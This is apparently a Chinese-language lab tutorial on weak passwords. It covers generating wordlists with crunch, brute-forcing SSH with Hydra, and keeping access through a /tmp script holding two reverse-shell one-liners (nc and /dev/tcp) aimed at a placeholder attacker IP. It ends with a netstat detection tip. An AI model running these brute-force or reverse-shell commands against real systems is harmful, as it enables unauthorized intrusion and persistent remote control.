弱密钥以及常用爆破- 字典生成和SSH爆破

18

弱密钥以及常用爆破- 字典生成和SSH爆破

crunch字典生成

crunch 的基本语法如下:

 crunch [最小长度] [最大长度] [字符集] [选项]

常见选项

  • -o--output: 指定输出文件。
  • -f--charset-file: 指定字符集文件。
  • -t--pattern: 使用模式生成字典。
  • -s--start: 指定起始字符串。
  • -e--end: 指定结束字符串。
  • -z--compress: 压缩输出文件(支持 gzip、bzip2、lzma)。
 #生成所有长度为 4 的数字组合
 crunch 4 4 0123456789
 #生成所有长度为 6 的大写字母和数字组合
 crunch 6 6 ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
 #生成所有长度为 8 的小写字母和数字组合,并输出到文件
 crunch 8 8 abcdefghijklmnopqrstuvwxyz0123456789 -o output.txt
 
 #使用模式生成字典
 crunch 8 8 -t @@@@,@@,@@
 
 #指定起始和结束字符串
 crunch 4 4 0123456789 -s 1234 -e 567

说明一下这个模式生成:crunch 使用 -t 或 --pattern 参数来指定模式。

@: 小写字母 (abcdefghijklmnopqrstuvwxyz)

,: 数字 (0123456789)

%: 大写字母 (ABCDEFGHIJKLMNOPQRSTUVWXYZ)

^: 符号 (!@#$%^&*()-_=+[]{}|;:,.<>?/)

77a59800a38b5ab3a6ff140ad5f41bb

**#### **

Hydra实现爆破

基本用法:

 hydra -l <username> -P <password_file> <target> <protocol>

基本参数:

-l 指定用户名 -p 指定密码 -L 指定用户字典 -P 指定密码字典 -e n null,表示尝试空密码 s same,把用户名本身当做密码进行尝试 r反向,把用户名倒叙,当做密码进行尝试 -vV 显示执行细节 -o 保存执行结果 -s 指定非默认端口 -C 指定所有格式为“user:password”的字典文件 -M 指定破解的目标文件,如果不是默认端口,后面跟上“:port”

ssh爆破及基本思路

 # -L -P 是跟着文件---脚本会自动去找相应目录下的文件
 # 如果只有一个的话,使用-l -p 小写
 hydra -L users.txt -P password.txt ssh://ip
 

比如说我这里做一个示例

大部分会做一个这个 SSH 连接的尝试次数的限制

可以使用这个-t参数来限制请求次数

image-20241129165407277

比如说我们这里成功地爆出来密码的话

  • 通过终端连接

image-20241129171151926

一般是有一个验证,输入yes进入指纹确定页面

image-20241129171254586

这样就进入这个shell界面了

  • 通过shell软件连接

image-20241129171359022

然后就是我们可以做一个这个隐藏任务

就是为了维持权限,

当靶机修改密码或关机后,我们使用爆破出来的密码就无济于事了

 cd /tmp
 vim sbx.sh

--->

     #!/bin/bash
     nc your_ip 7777 -c /bin/bash
     #!/bin/bash
     bash -i >& /dev/tcp/your_ip/7777 0>&1

保存之后,这个文件是没有这个执行权限的

 chmod +x sbx.sh
 ./sbx.sh

在主机开启监听就行:

image-20241129173008213

我们如果是被攻击方的话通过:

 netstat -antpl

是可以检查到相应外部连接和利用的

image-20241129173715019